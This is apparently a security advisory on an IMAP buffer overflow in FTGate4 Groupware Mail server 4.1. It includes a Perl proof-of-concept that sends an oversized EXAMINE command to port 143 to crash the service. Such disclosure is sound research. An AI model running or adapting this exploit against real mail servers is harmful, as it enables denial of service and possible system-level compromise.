[NT] FTGate4 Groupware Mail server Buffer Overflow (Exploit)

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  FTGate4 Groupware Mail server Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

FTGate4 is a powerful Windows(TM) communication suite that combines 
exceptional mail handling facilities with comprehensive Groupware 
functionality.

FTGate4 contains a security flaw in the IMAP server caused due to boundary 
errors in the handling of various commands (like EXAMINE).

DETAILS

Vulnerable Systems:
 * FTGate4 Groupware Mail server version 4.1

An attacker could exploit the vulnerability by sending a malformed request 
to the IMAP server running on port 143, resulting in a Denial of Service 
condition and potentially arbitrary code execution with the privileges of 
the SYSTEM user.

Proof of concept:
#!/usr/bin/perl

use IO::Socket;

print "\nFTGate Imapd BufferOverrun\nLuca Ercoli io\@lucaercoli.it\n";
print "http://www.lucaercoli.it\n\n\n";;

$host = "localhost";

$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "143",
);

unless ($remote) { die "Can't connect to $host" }

print "[!] Connected\n";
print "[?] Exploiting...\n";

sleep(1);

my $imapd = join ("", "1 login user pass", "\r\n");

print $remote $imapd;

sleep(1);
my $imapd = join ("", "1 EXAMINE ", "B"x(224), "\r\n");
print $remote $imapd;
sleep(1);
my $imapd = join ("","C"x(11305), "\r\n");
print $remote $imapd;

print "\n[!] Done\n\n\n";

close $remote;


ADDITIONAL INFORMATION

The information has been provided by  <mailto:io@lucaercoli.il> Luca 
Ercoli.
The original articles can be found at:
   <http://www.lucaercoli.it/advs/FTGate4.txt> 
http://www.lucaercoli.it/advs/FTGate4.txt
   <http://www.lucaercoli.it/exploits/FTGate-expl.pl> 
http://www.lucaercoli.it/exploits/FTGate-expl.pl



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